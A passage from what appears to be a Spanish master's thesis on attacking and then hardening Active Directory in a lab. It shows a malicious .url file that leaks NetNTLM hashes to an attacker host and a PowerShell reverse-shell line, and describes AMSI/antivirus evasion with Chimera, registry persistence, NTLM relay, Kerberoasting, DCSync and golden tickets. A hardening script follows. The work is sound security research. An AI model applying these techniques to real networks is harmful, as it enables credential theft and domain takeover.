un dominio de una empresa externa al objetivo, que puede ser vulnerado y utilizado
para conseguir acceso a nuestra infraestructura objetivo.
1
El phishing es un ataque de ingeniería social mediante el cual, el atacante pretende ser una entidad fiable
para engañar a la víctima con el objetivo de ejecutar malware en el equipo de la víctima (IEEE, 2022).
3.5. Población y muestra 39

• Explotación de vulnerabilidades en servicios expuestos: Ataques dirigidos a

servidores VPN, SMTP o HTTP internos pueden permitir ejecución remota de código
o la filtración de credenciales de dominio.

Durante la fase de simulación de adversario, no se reutilizará ninguna contraseña ni ningún

hash ya que el entorno se ha construido con las mismas credenciales (MachoHercules123) en
todos los dominios por simplificación. Sin embargo, se ha de recalcar que en un ejercicio de
Red Team siempre debemos probar todas las credenciales válidas que obtengamos en todos
los servicios que tenga habilitados nuestro objetivo para abusar esta debilidad de la dejadez
humana.

3.5 Población y muestra

Por un lado, la población incluye los entornos de Active Directory en toda organización
que utilice esta tecnología para gestionar usuarios, equipos y permisos en sistemas operativos
Windows; y en concreto las organizaciones que cumplan las guías CCN-STIC bien sea por
obligado cumplimiento al pertenecer a la administración pública española o de motu proprio.

Por otro lado, la muestra es la parte representativa de la población que se analizará directa-
mente, en otras palabras, el laboratorio virtual que se desplegará y configurará para simular
un entorno real.

3.6 Tácticas utilizadas

1. Configuración del laboratorio: Despliegue y configuración inicial de un entorno
virtual con controladores de dominio, estaciones de trabajo y servidores representativos.

2. Reconocimiento: Ejecución de herramientas para mapear equipos y estructura de los

dominios.

3. Ejecución de los ataques: Realización paso a paso de cada técnica de ataque sobre
el laboratorio documentando los resultados adecuadamente.

4. Nivel de acceso: Registro de los objetos comprometidos y nivel de acceso logrado tras
cada ataque.

5. Implementación de contramedidas: Desarrollo de configuraciones y políticas de

endurecimiento para mitigar los ataques realizados.

3.7 Herramientas utilizadas

3.7.1 Nmap
Nmap (‘network mapper’) es una utilidad gratuita y de código abierto para descubrimien-
to de redes y auditorías de seguridad (Nmap Project, 2025b). Es compatible con distintos
sistemas operativos como Linux, Windows y MacOS. Nmap tiene capacidad para determinar
40 Metodología

qué equipos están disponibles en la red, qué servicios ofrecen esos equipos, que versiones de
sistemas operativos están usando, qué tipo de filtrado se está utilizando, y docenas de otras
capacidades.

Además del fichero ejecutable por línea de comandos, la suite de Nmap incluye una interfaz
gráfica llamada Zenmap, una utilidad para comparar resultados de escaneos llamada ndiff,
un herramienta para generación de paquetes y análisis de respuestas llamado nping, y la
utilidad NetCat.

3.7.2 NetCat
NetCat es una herramienta de red que lee y escribe datos a través de redes desde la línea
de comandos (Nmap Project, 2025a). NetCat originalmente era un binario más arcaico y sin
tantas funcionalidades como el actual, pero el proyecto Nmap reescribió esta herramienta
(ahora llamada ncat) como una reimplementación mejorada.

Esta herramienta es compatible tanto con TCP como UDP a nivel de la capa de transporte,
y también funciona via IPv4 e IPv6 de la capa de red. Está diseñada para ser una herramienta
fiable que proporcione conectividad de red instantánea a otras aplicaciones y usuarios (Nmap
Project, 2025a).

3.7.3 NetExec
Esta herramienta es heredera de un proyecto iniciado en 2015 por el analista de seguridad
Marcello Salvati (conocido como @byt3bl33d3r) llamado CrackMapExec. Con el paso de los
años, otros expertos en seguridad fueron contribuyendo a mantener el proyecto, pero en Oc-
tubre de 2023 se publicó la primera release en GitHub de NetExec.

En esencia, es un herramienta de explotación de servicios de red que ayuda a evaluar la

seguridad de grandes redes. Es compatible con diversos protocolos de red, en este proyecto se
utilizará para interactuar con: SMB, LDAP y WINRM. Además de ejecutar reconocimiento
y enumeración de estos servicios, nos permite realizar otras técnicas ofensivas como password
spraying2 , ejecución remota de comandos o extracción de credenciales.

Gracias a su interacción con el protocolo LDAP, nos servirá para extraer datos del dominio
y poder inyectárselos al software BloodHound. Por último, destacar de esta herramienta que
es compatible con los protocolos de autenticación NTLM y Kerberos.

3.7.4 Responder
Responder es envenenador de tráfico de red Link-Local Multicast Name Resolution (LL-
MNR), NBT-NS y MDNS, con servidores de autenticación HTTP/SMB/MSSQL/FTP/L-
2
El ataque de password spraying es una técnica de fuerza bruta en la que el atacante probará una contraseña
(o varias) con un diccionario de usuarios para, entre otros objetivos, evitar ser bloqueado por las medidas
de seguridad presentes.
3.7. Herramientas utilizadas 41

DAP fraudulentos que soportan NTLMv1, NTLMv2, LMv2, NTLMSSP y autenticación bá-
sica HTTP (Laurent Gaffie, 2025). Este proyecto es un fork del repositorio del mismo nombre,
originalmente desarrollado por SpiderLabs, que ahora es mantenido por el CEO de Secori-
zon, Laurent Gaffié.

Al soportar varios protocolos es una herramienta muy potente que se puede adaptar a
muchas situaciones en una simulación de adversario. Estos servidores fraudulentos que des-
pliega Responder, nos permiten capturar hashes NetNTLMv2 de autenticación que podemos
intentar crackear con herrmientas como Hashcat o John-The-Ripper.

3.7.5 Hashcat
Hashcat es la herramienta de recuperación de contraseñas más rápida y avanzada del mun-
do, compatible con 5 modos de ataque para más de 300 algoritmos de hashing (Jens ’atom’
Steube and Gabriele ’matrix’ Gristina, 2022). Es utilizado de forma habitual por auditores
de seguridad para evaluar la robustez de una contraseña o durante los trabajos de pentesting
(Tarlogic Security, 2025).

Entre las ventajas de Hashcat, se destaca el soporte de GPU, para acelerar el proceso de
cracking en la tarjeta gráfica y el procesado distribuido entre nodos de cracking (Tarlogic Se-
curity, 2025). También mencionar, que Hashcat es compatible con Windows, Linux y MacOS,
además que a partir de 2015, se liberó el código fuente de esta herramienta en GitHub.

3.7.6 Impacket
Impacket es una colección de clases Python para trababjar con protocolos de red. Fue
originalmente desarrollado por la empresa SecureAuth, aunque ahora es mantenido por
Fortra's Core Security. Impacket está enfocado en ofrecer una interfaz de interacción
a bajo nivel con los paquetes que circulan por una determinada de red.

Con Impacket, podemos construir paquetes de ciertos protocolos desde 0, así como ‘parsear’
datos que circulan por la red y su Application Programming Interface (API) orientada objeto
hace que la interacción con los protocolos jerárquicos de un paquete sea sencilla (Fortra
Core Security, 2024). En este proyecto, no se desarrollarán nuevas herramientas usando esta
colección, sino que utilizaremos los scripts de ejemplo que vienen en el sistema operativo Kali
Linux.

3.7.7 Evil-WinRM
Evil-WinRM es un software diseñado para interactuar con cualquier equipo Windows con el
servicio WinRM habilitado (puerto TCP/5985). Aunque este programa puede ser usado por
administradores de sistema para propósitos legítimos, muchas de sus características y funcio-
nalidades están enfocadas al pentesting. Está basado principalmente en la librería WinRM de
Ruby desde su versión 2.0, sin embargo ha ido evolucionando para usar el protocolo Powershell
Remoting Protocol (PSRP) (Hackplayers, 2025).
42 Metodología

3.7.8 Chisel
Chisel es una herramienta para tunelizado de comunicaciones TCP/UDP sobre HTTP.
El software, escrito en Golang, incluye tanto el cliente como el servidor para establecer la
comunicación. Se utiliza principalmente para atravesar cortafuegos, aunque también puede
ser usado como bastión para proporcionar un punto de acceso seguro a una determinada red
(Jaime Pillora, 2025).

Chisel tiene siempre habilitado el cifrado de la comunicación. Cuando se inica un servidor

Chisel, generará un par de claves pública/privada mediante el algoritmo Elliptic Curve Digital
Signature Algorithm (ECDSA). Además, esta herramienta también permite autentiación de
clientes mediante el uso de un fichero [Link] para proporcionar una lista de usuarios
válidos.

3.7.9 BloodHound
La herramienta BloodHound utiliza la teoría de grafos para revelar relaciones ocultas y a me-
nudo no intencionadas, entre los elementos de un entorno de Directorio Activo (BloodHound
Team, 2025). Desde nuestro equipo atacante, se importarán los datos extraídos del AD en una
base de datos Neo4j. De esta manera, BloodHound identificará fácilmente cadenas complejas
de ataque que, de otra manera, serían imposibles de identificar rápidamente.

También tenemos otras dos herramientas dentro de la suite de BloodHound. La utilidad

SharpHound nos permite recoger los datos necesarios del AD para posteriormente pasárselo a
BloodHound. Está desarrollada en C# y utiliza la API nativa de Windows para recoger datos
de los equipos de un determinado dominio. Sin embargo, no utilizaremos esta herramienta
ya que es muy ruidosa y llamaría la atención de cualquier AV/EDR. En su lugar, podemos
utilizar la herramienta AD Explorer de la suite SysInternals para extraer un snapshot del
dominio si tenemos acceso mediante un entorno gráfico.

La otra herramienta de esta suite es AzureHound. Como su nombre indica, recoge datos de
un entorno en la nube Azure, con la API REST de Azure y otras tecnologías que permiten
extraer datos de la infraestructura cloud. Tampoco utilizaremos esta herramienta, ya que este
tipo de infraestructura queda fuera del alcance de este proyecto.
4 Desarrollo

4.1 Ataque
4.1.1 Reconcimiento inicial de la estación de trabajo WS01
Partiendo de la premisa de que se ha comprometido el usuario lucas perteneciente al do-
minio [Link] con la contraseña MachoHercules123!, simularemos diversas
técnicas para movernos lateralmente, escalar privilegios y aplicar persistencia en el entorno
de Directorio Activo. Primero realizaremos un escaneo de los puertos TCP más típicos que
suelen usar los servicios de Active Directory.

Figura 4.1: Escaneo de los puertos TCP más comunes sobre la estación de trabajo WS01

Como podemos observar en la figura 4.1, encontramos un servidor SMB ejecutándose en la

estación de trabajo. Haciendo uso de las credenciales de dominio, vamos a listar los recursos
compartidos a nivel de red utilizando la herramienta NetExec (figura 4.2).

Figura 4.2: Listado de recursos SMB compartidos por la estación de trabajo WS01

43
44 Desarrollo

4.1.2 Envenenamiento de protocolos de red

Teniendo acceso de lectura y escritura al recurso compartido CarpetaCompartida con el

usuario lucas, como se puede observar en la figura 4.2, podemos envenenar diversos protoco-
los de red para capturar hashes NetNTLM y crackearlo posteriormente offline. Para capturar
este hash, necesitamos que el usuario de dominio que accede al recurso SMB compartido haga
una petición a nuestro servidor atacante.

Esto lo podemos conseguir, depositando un fichero que realice la petición automáticamente

utilizando distintos tipos de fichero como .url, .scf, .hta o .lnk, entre otros. Cada uno de
estos fichero tiene sus propias características: por ejemplo, los ficheros .lnk requieren inter-
acción del usuario (clic), mientras que los .scf se ejecutan automáticamente.

Debido a que los ficheros .scf suelen estar monitorizados por los EDR, utilizaremos un fi-
chero .url malicioso. Para evitar que nuestro fichero se muestre en el explorador de archivos,
estableceremos el atributo oculto de nuestro fichero malicioso en el recurso compartido SMB.
Como atacantes utilizaremos este fichero para referenciar recursos remotos (nuestra máquina
atacante ejecutando el responder) y así poder capturar los hashes NetNTLMv2.

Código 4.1: Fichero URL malicioso que realiza una petición SMB al servidor atacante

1 [InternetShortcut]
2 URL=whatever
3 WorkingDirectory=whatever
4 IconFile=\\[Link]\share\[Link]

5 IconIndex=1

Desde nuestra máquina atacante, nos conectamos via SMB al directorio compartido y
subimos el fichero URL malicioso (ver figura 4.3).

Figura 4.3: Subida de fichero URL malicioso al directorio compartido por SMB

Una vez tenemos el fichero subido, ya podemos lanzar la herramienta responder para en-
venenar las peticiones y poder capturar los hashes NetNTLMv2 de los usuarios que accedan
al directorio compartido. Como podemos observar en la figura 4.4, el usuario Adminstrador
de dominio ha accedido a la carpeta compartida y hemos podido capturar su hash.
4.1. Ataque 45

Figura 4.4: Captura del hash NetNTLMv2 del usuario Adminstrador de dominio

Figura 4.5: Cracking hash NetNTLMv2 con la herramienta hashcat

[Link] Ataque de diccionario contra el hash NetNTLMv2

Este hash NetNTLMv2 capturado tiene el siguiente formato:

usuario::dominio:challenge:respuesta_HMAC:blob

• Usuario: Nombre de usuario del dominio.

• Dominio: Nombre del dominio.
• Challenge: Valor aleatorio de 8 bytes enviado por el servidor para la autenticación
segura.
• Respuesta HMAC: Respuesta del cliente de 24 bytes generada con el algoritmo de
autenticación de mensajes HMAC-MD5.
• Blob: Datos binarios varios como timestamp, información del servidor, etc.

Utilizando la herramienta hashcat y el conocido diccionario [Link], podemos reali-

zar un ataque de diccionario contra este hash (ver figura 4.5).

Tras realizar nuestro ataque de diccionario contra el hash, no hemos podido encontrar la
contraseña en texto claro (ver figura 4.6) ya que no se encuentra en el diccionario que hemos
usado. Podríamos intentar utilizar otro diccionario en español, o crear nosotros el nuestro
propio con la información que tenemos del objetivo. Sin embargo, como el tráfico SMB no
está firmado (ver figura 4.2) vamos a intentar realizar un ataque denominado NTLM relay.
46 Desarrollo

Figura 4.6: Cracking hash NetNTLMv2 con la herramienta hashcat

4.1.3 Ataque NTLM Relay

En este caso, en lugar de intentar romper el hash NetNTLMv2 para obtener la constraseña
en texto plano, vamos a interceptar los paquetes de autenticación entre el servidor y el cliente
legítimo con el objetivo de retransmitir dichos paquetes e impersonar a la víctima. Para evitar
que un atacante cualquiera pueda impersonar a un cliente del dominio, el protocolo NTLM
utiliza un intercambio challenge-response.

Figura 4.7: Intercambio de mensajes en el ataque NTLM relay

Este challenge es un nonce de 8 bytes generado por el servidor, que se envía al cliente
que quiere conectarse a un servicio. El cliente cifra dicho challenge con su hash NTLM y
se lo envía de vuelta al servidor. Este mensaje se conoce como response. De esta manera se
produce una autenticación segura sin necesidad de enviar por la red el ningún hash NTLM,
ya que el servidor ya conoce este hash y lo utiliza para descifrar el response recibido, el cuál
debe coincidir con el challenge previamente enviado.

Sin embargo, como atacantes solo vamos a retransmitir estos paquetes sin manipularlos,
y cuando el servidor haya autenticado al cliente, le enviaremos un paquete al cliente para
indicarle que ha habido un fallo en la autenticación (ver figura 4.7). De esta manera, nos
autenticaremos correctamente en el servicio que decidamos.
4.1. Ataque 47

Las únicas condiciones que tienen que darse para que el ataque sea exitoso son que el ser-
vidor esté ejecutando dicho servicio, y en el caso de que el servicio objetivo sea SMB, que
dicho tráfico no esté firmado.

Respecto a nuestro laboratorio, el cliente que impersonaremos y el servicio al que no au-

tenticaremos están en la misma estación de trabajo (por razones de limitaciones hardware).
Los equipos Windows llevan una protección para que no se pueda autenticar a sí mismo
mediante NTLM llamado Loop prevention. En la configuración de la estación de trabajo se
ha deshabilitado esta medida de seguridad, ya que no afecta al proceso de ataque en sí.

Figura 4.8: Ejecución de la herramienta ntlmrelayx

Para realizar este ataque vamos a hacer uso de la herramienta ntlmrelayx de la suite
impacket. Esta herramienta es capaz configurar varios servicios falsos en nuestra máquina
atacante para que los clientes se autentiquen a nosotros y que podamos retransmitir los pa-
quetes que nos envíen a servidores legítimos. Como podemos observar en la figura 4.8, sólo
vamos a configurar un servicio SMB falso en nuestro kali linux.

Una vez conseguido el ataque se pueden realizar multitud de acciones, como lanzar una
consola interactiva o ejecutar comandos en el servidor. En nuestro caso, si el cliente tiene los
permisos suficientes, listaremos los hashes NTLM de la SAM del equipo.

En este punto, muchos operadores de Red Team creen que para que el ataque sea exitoso,
el cliente debe introducir una recurso a nivel de red inexistente. Sin embargo, como hemos
observado previamente, usando distintos ficheros como .url o .lnk, entre otros, podemos
forzar la búsqueda de dicho recurso para que se realice la autenticación.

Gracias al fichero .url que hemos alojado previamente en la carpeta compartida por SMB,
cuando alguien acceda a dicha carpeta se autenticará contra nosotros en lugar de contra el
servidor legítimo. Durante este proceso, como atacantes, impersonaremos al servidor de cara
al cliente y al cliente de cara al servidor.
48 Desarrollo

Figura 4.9: Obtención de hashes NTLM mediante el ataque NTLM relay

[Link] Acceso remoto a WS01 mediante Pass-The-Hash

Con los hashes NTLM obtenidos previamente (ver figura 4.10) y haciendo uso de la he-
rramienta Evil-WinRM, podemos acceder de forma remota a la estación de trabajo con el
siguiente comando:

Figura 4.10: Conexión remota a la estación de trabajo usando Evil-WinRM

4.1.4 Despliegue de persistencia en WS01 mediante registro

Para asegurarnos un acceso futuro a la estación de trabajo en el caso de que cambien la
contraseña y el hash capturado no sea válido, vamos a desplegar una persistencia utilizando
un registro del equipo. Mediante esta técnica, cada vez que un usuario inicie sesión en el
equipo, se ejecutará el comando que configuremos.
4.1. Ataque 49

Para la shell inversa1 , vamos a utilizar un script de powershell del repositorio Nishang
([Link] Este repositorio contiene scripts de PowerShell
y payloads2 para simulaciones de adversario, pruebas de penetración y seguridad ofensiva. En
concreto, se utilizará el script Invoke-PowerShellTcp.ps1 con una ligera modificación: en la
última línea de este fichero, y usando las funciones definidas en el propio código, lanzaremos
la shell inversa a nuestro kali:

Código 4.2: Shell inversa desde WS01 mediante Invoke-PowerShellTcp

1 Invoke-PowerShellTcp -Reverse -IPAddress [Link] -Port 4443

Una vez tenemos el script preparado, vamos a ofuscarlo con la herramienta Chimera
([Link] Esta herramienta utiliza distintas técnicas, co-
mo sustitución de strings y concatenación de variables, para bypassear el AMSI y soluciones
antivirus. Para ejecutar esta herramienta, solo tenemos que clonarla en nuestro kali y lanzar
el script de Bash con los siguientes argumentos:

Figura 4.11: Ejecución del script de ofuscación Chimera

Para transferir el script ofuscado a la estación de trabajo, se ha montado un recurso com-

partido a nivel de red con impacket-smbserver en el equipo kali. Este fichero que nos va
a servir para mantener una persistencia en el equipo, incluso si cambia el hash NTLM que
hemos capturado (ver figura 4.12).

Hecho esto, vamos a proceder a configurar el registro HKLM para que independientemente
quién inicie sesión en el equipo, se entable la shell inversa con nuestro equipo atacante (ver
figura 4.13). Ya con todo preparado, cada vez que un usuario acceda a este equipo, se lan-
zará una shell inversa a nuestro kali, la cuál podremos operar usando una herramienta como
NetCat (ver figura 4.14). Aunque contamos con este acceso alternativo, no lo utilizaremos
salvo en caso de emergencia, por ejemplo, si perdemos el método de acceso inicial. Esta shell
inversa que se intenta entablar cada vez que un usuario inicia sesión en el equipo, es un plan
de respaldo para situaciones como el cambio de hash NTLM, que escapan fuera de nuestro
control.

4.1.5 Host WS01 como pivote para acceso a la red del dominio madrid
Con este acceso remoto a la estación de trabajo WS01, ya tenemos un punto de apoyo (o
foothold) en el entorno de Active Directory. Para ejecutar nuestras herramientas de reco-
1
Una shell inversa (del inglés, reverse shell) es una técnica para ejecutar comandos en un sistema de forma
remota y con la capacidad de burlar cortafuegos y otras medidas de seguridad.
2
En el ámbito de seguridad de la información, un payload se define como cualquier comando o código que
explote una vulnerabilidad en un software específico.
50 Desarrollo

Figura 4.12: Transferencia del script PowerShell ofuscado con capacidades de establecer conexión
inversa

Figura 4.13: Configuración de los registros de WS01 para establecer persistencia

Figura 4.14: Captura de la shell inversa con la herramienta NetCat

4.1. Ataque 51

nocimiento y explotación desde nuestro Kali sobre la red interna, configuraremos un proxy
SOCKS en el equipo WS01 usando la herramienta chisel.

Tras descargar la última release de esta herramienta desde su repositorio oficial (https://
[Link]/jpillora/chisel), transferiremos el ejecutable al host WS01 usando un servidor
web, mediante el módulo [Link] de Python, desde la máquina atacante. En el equipo
WS01, alojaremos este software en el directorio C:\Users\Administrador\AppData\Roaming
bajo el nombre [Link]. Para amenazas más sofisticadas y ataques a organizacio-
nes con alto nivel de seguridad, se deberían utilizar otros métodos para ocultar este fichero o
pasarlo por una tubería para ejecutarlo sin alojarlo en el equipo directamente.

Figura 4.15: Transferencia via HTTP de la herramienta chisel desde la máquina atacante

Con Chisel, vamos a crear un túnel SOCKS encapsulado por el protocolo HTTP, para
interactuar con la red interna desde nuestro kali. Para ello en nuestra máquina atacante eje-
cutaremos el siguiente comando para crear un túnel inverso, escuchando conexiones por el
puerto 443.

Figura 4.16: Servidor SOCKS en nuestra máquina atacante para el túnel inverso

En la estación de trabajo, usaremos HTTP para conectarnos a la máquina atacante. De esta

manera, utilizaremos el puerto SOCKS que hemos configurado en nuestro kali para enrutar
tráfico a la red interna. Para simulaciones de adversario más sofisticadas y sigilosas, se debería
alojar el servidor Chisel en un dominio con un certificado TLS generado por Let’s Encrypt
(no autofirmado) y utilizar un proxy inverso como Nginx o Caddy.
52 Desarrollo

Figura 4.17: Cliente Chisel en la máquina pivote para conectarnos al servidor SOCKS

Sin embargo, esta técnica de pivoting solo nos permite interactuar con servicios que utilicen
el protocolo TCP. Si necesitamos interactuar con servicios que hagan uso de otro protocolo
en la capa de transporte, deberíamos utilizar otra técnica de tunelizado.

4.1.6 Kerberoasting contra el controlador de dominio de madrid

Antes de realizar un reconocimiento interno del dominio, vamos a intentar extraer los TGTs
de alguna cuenta de servicio. Sin embargo, en lugar de solicitar todos los tickets (como hace
la herramienta impacket-GetUserSPNs), debemos consultar antes el directorio LDAP para
ver qué usuarios son ’kerberoasteables’. Esto lo podemos realizar de forma manual, aunque
la herramienta NetExec ya lo hace por nosotros.

Figura 4.18: Kerberoasting cuenta de usuario sqlservice con la herramienta NetExec

[Link] Ataque de diccionario contra el ticket granting ticket (TGT)

Una vez hemos extraído el TGT, vamos a intentar descifrarlo para obtener la contraseña
del usuario sqlservice en texto plano. De igual manera que con el hash NetNTLMv2, uti-
lizaremos la herramienta Hashcat y el diccionario [Link] para realizar un ataque de
diccionario contra el ticket obtenido (ver figura 4.19).
4.1. Ataque 53

Figura 4.19: Cracking del TGT del usuario sqlservice mediante la herramienta Hashcat

Tras este ataque de diccionario, podemos observar que hemos descifrado el hash del TGT
capturado y obtenido las credenciales NotMyPassword0k? para el usuario sqlservice (ver
figura 4.20).

Figura 4.20: Contraseña descifrada exitosamente a partir del TGT de sqlservice mediante Hashcat

4.1.7 Abuso de privilegios del grupo Operadores de copia de seguridad

Como podemos observar en la figura 4.18, el usuario sqlservice pertenece al grupo ‘Ope-
radores de copia de seguridad’ (en inglés, Backup Operators). La pertenencia a este grupo
implica que podemos leer cualquier fichero y directorio del sistema, sin importar los permi-
sos de New Technology File System (NTFS) establecidos. Aprovechando estas capacidades,
54 Desarrollo

vamos a realizar un volcado del fichero [Link], que contiene toda la información del direc-
torio del dominio [Link]. Utilizando la herramienta secretsdump de la suite
Impacket y las credenciales de la cuenta de usuario sqlservice (ver figura 4.21), obtenemos
todos los hashes NTLM almacenados en dicha base de datos. Además de los hashes NTLM,
también se han extraído las claves criptográficas de Kerberos (ver figura 4.22), derivadas de
las distintas cuentas y utilizadas para cifrar y firmar los tickets.

Figura 4.21

Figura 4.22

[Link] Acceso remoto a DC01 mediante Pass-The-Hash

Para poder acceder de forma rápida al servicio WinRM del equipo DC01, en lugar de utili-
zar el túnel inverso dinámico (con SOCKS), vamos a crear otro túnel inverso desde nuestro
4.1. Ataque 55

equipo atacante a DC01 para acceder al servicio corriendo en el puerto TCP/5985 (ver figura
4.24). Con este túnel inverso estático configurado y las credenciales del usuario Administrador
de dominio obtenidas previamente, podemos acceder de forma remota al equipo controlador
de dominio (ver figura 4.23).

Figura 4.23

4.1.8 Reconocimiento interno desde el controlador de dominio DC01

Utilizando la herramienta chisel, realizamos un reenvío de puertos a TCP/3389 del con-

trolador de dominio DC01 para conectarnos via RDP (ver figura 4.24).

Figura 4.24: Túneles inversos estáticos desde WS01 para mapear puertos TCP/5985 y TCP/4445

Una vez hemos accedido al equipo, vamos a utilizar la herramienta ADExplorer de la suite
SysInternals para realizar un volcado del dominio (ver figura 4.25).

Tras transferir este volcado del dominio a nuestro equipo atacante, debemos utilizar la he-
rramienta [Link] para extraer del fichero .dat,
los ficheros que le inyectaremos a BloodHound (ver figura 4.26).

Por último, debemos iniciar la base de datos neo4j e importar los ficheros JSON en el
software BloodHound, podemos encontrar diversas formas de escalar nuestro privilegio en el
entorno AD para conseguir privilegios de administrador de dominio en [Link]. En
BloodHound se muestran los elementos del AD en forma de nodos de un grafo, y las aristas
representan todo aquel permiso y/o configuración que hace posible alcanzar un objetivo de-
terminado (ver figura 4.27).
56 Desarrollo

Figura 4.25: Volcado del dominio [Link] con la herramienta ADExplorer

Figura 4.26: Conversión del volcado del AD a archivos JSON compatibles con BloodHound
4.1. Ataque 57

Figura 4.27: Grafo de neo4j para escalar privilegios usando BloodHound

4.1.9 Ataque DCSync a DC03 con las credenciales de DC01

Debido a que el administrador de dominio de [Link] pertenece al gru-

po ‘Administradores de empresa’ del dominio [Link], podemos realizar un ataque
DCSync al controlador de dominio DC03 para extraer los hashes NTLM y Kerberos (ver figura
4.28).

Figura 4.28: Ataque DCSync a [Link] para extraer hashes NTLM

A continuación, vamos a generar diversos tickets Kerberos para tener persistencia en el

entorno y continuar nuestro movimiento lateral hasta el próximo objetivo. Para ello nece-
58 Desarrollo

sitamos el hash de la cuenta krbtgt del controlador de dominio de [Link]. Estos

hashes ya los hemos extraído usando la herramienta secretsdump de la suite Impacket.

Figura 4.29: Ataque DCSync a [Link] para extraer hashes Kerberos

4.1.10 Persistencia en el dominio [Link] mediante Golden Ticket

Una vez tenemos los hashes NTLM de la cuenta krbtgt podemos crear tickets para imperso-
nar a cualquier usuario. Primero de todo, debemos obtener el SID del dominio [Link]
y un identificador de usuario (ver figura 4.30).

Figura 4.30: Extracción del SID del dominio [Link]

Hecho esto, vamos a generar el golden ticket usando la utilidad ticketer que nos creará
el fichero [Link] en el directorio HOME de kali (ver figura 4.31).

En el ataque golden ticket clásico, se genera un ticket para un usuario no existente del AD.
Sin embargo, esto es más complicado a día de hoy porque Windows ha añadido fuertes me-
didas de seguridad en los últimos tiempos para evitar esto. Por este motivo, vamos a generar
4.1. Ataque 59

el golden ticket de un usuario ya existente como es Administrador.

Figura 4.31: Generación de golden ticket mediante la herramienta ticketer

4.1.11 Pass-The-Ticket para acceso al DC de [Link]

Una vez generado el ticket (ver figura 4.31), debemos configurarlo en nuestro equipo ata-
cante para que se use en la autenticación Kerberos (ver figura 4.32).

Figura 4.32: Configuración de autenticación Kerberos en Linux

Por último, solo tenemos que conectarnos a algún servicio e indicarle que queremos au-
tenticarnos via Kerberos. Por ejemplo, vamos a conectarnos remotamente al controlador de
dominio DC03, comprometiendo el dominio [Link] (ver figura 4.33).
60 Desarrollo

Figura 4.33: Autenticación via Kerberos al servicio WinRM con el golden ticket falsificado

4.2 Defensa
4.2.1 Prevención
Active Directory constituye el eje de autenticación y autorización en la mayoría de en-
tornos corporativos, haciéndolo un objetivo esencial para los ciberatacantes. Sin embargo, la
mayoría de brechas no ocurren por malware sofisticado en la forma de exploits que explotan
vulnerabilidades Zero-Day, sino debido a configuraciones erróneas, privilegios excesivos y sis-
temas de seguridad por defecto débiles.

En esta sección, describiremos una estrategia defensiva proactiva implementando medidas

de endurecimiento en la infraestructura del AD con el objetivo de eliminar por completo cier-
tos vectores de ataque antes que nuestros adversarios puedan explotarlos. Implementaremos
configuraciones seguras, aplicaremos el principio de mínimo privilegio y utilizaremos contro-
les de autenticación seguros. Siguiendo estos consejos, podremos reducir significativamente
la superfície de ataque de nuestro entorno de Active Directory.

[Link] Endurecimiento de los controladores de dominio

El equipo más crítico en un entorno de Active Directory son los controladores de dominio.
Estos son los encargados de almacenar y gestionar la base de datos del dominio, así como
de gestionar todo lo relativo a autenticación y autorización de usuarios y servicios. Por este
motivo, son el principal objetivo de cualquier atacante, ya que su compromiso implica un
compromiso total del AD. Esto convierte al endurecimiento de estos equipos en la primera
línea de defensa para un entorno seguro.

A continuación, se describirán múltiples configuraciones para mitigar distintos vectores de

ataque, vistos en la sección ofensiva, como NTLM Relay, abuso de DCSync, y otros vectores
relacionados con la autenticación y la autorización:

• Deshabilitar protocolos obsoletos: Por un lado, NTLM es un protocolo de autenti-

cación obsoleto vulnerable a distintos ataques como Pass-The-Hash, NTLM Relay, etc.
4.2. Defensa 61

Por otro lado, LLMNR y NetBios son protocolos de resolución de nombres susceptibles
a ataques de envenenamiento con herramientas como Responder.
• Forzar firma LDAP/S: LDAP sin firmar es vulnerable a ataques Man-In-The-Middle,
por lo que debemos deshabilitar este protocolo en texto plano (TCP/389) y usar certi-
ficado válidos en los controladores de dominio.
• Habilitar LDAP channel binding: Este proceso mejora significativamente la segu-
ridad en la comunicación entre el cliente y el servidor LDAP, mitigando ataques como
NTLM Relay.
• Restringir enumeración anónima del dominio: Por defecto, los entornos AD tie-
nen un tipo de sesión llamado Null Session, que permite potencialmente a un atacante
enumerar usuarios, grupos y otros objetos del AD sin necesidad de autenticarse.
• Implementar grupo de usuarios protegidos: La pertenencia de un usuario del AD
a este grupo; bloquea la autentación NTLM, fuerza el algoritmo AES para Kerberos y
deshabilita las credenciales almacenadas en Caché.
Teniendo en cuenta estas configuraciones específicas que debemos realizar en todo con-
trolador de dominio para acercarnos a una infraestructura más segura, podemos ejecutar el
siguiente script PowerShell que automatiza la aplicación de estas medidas de seguridad:
Código 4.3: Medidas de seguridad en controladores de dominio

1 # Deshabilitar NTLM:
2 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "←-
,→ LmCompatibilityLevel" -Value 5
3 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" ←-
,→ -Name "NTLMMinClientSec" -Value 0x20080000
4 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" ←-
,→ -Name "RestrictSendingNTLMTraffic" -Value 2
5
6 # Deshabilitar LLMNR:
7 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient←-
,→ " -Name "EnableMulticast" -Value 0 -Type DWord
8
9 # Deshabilitar NetBIOS sobre TCP/IP:
10 Get-NetAdapter | Set-NetAdapterAdvancedProperty -RegistryKeyword "←-
,→ NetbiosOptions" -RegistryValue 2
11
12 # Forzar LDAP Signing:
13 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\←-
,→ Parameters" -Name "LdapServerIntegrity" -Value 2
14
15 # Habilitar Channel Binding:
16 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\←-
,→ Parameters" -Name "LdapEnforceChannelBinding" -Value 2
17
18 # Restringir Null Session:
19 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanManServer\←-
,→ Parameters" -Name "RestrictNullSessAccess" -Value 1
62 Desarrollo

20
21 # Añadir usuarios y grupos privilegiados al grupo Usuarios Protegidos:
22 Add-ADGroupMember -Identity "Usuarios Protegidos" -Members "Administrador", "←-
,→ Admins. del dominio", "Administradores de empresa"

[Link] Principio de mínimos privilegios

Muchos autores y expertos en seguridad cibernética, consideran que el principio de mínimo
privilegio es la piedra angular de la ciberseguridad. Este principio se caracteriza por otorgar
a los usuarios el acceso que estrictamente necesita para desempeñar sus responsabilidades.
Cuanto más acceso tenga un determinado usuario, mayor será el impacto negativo si se ve
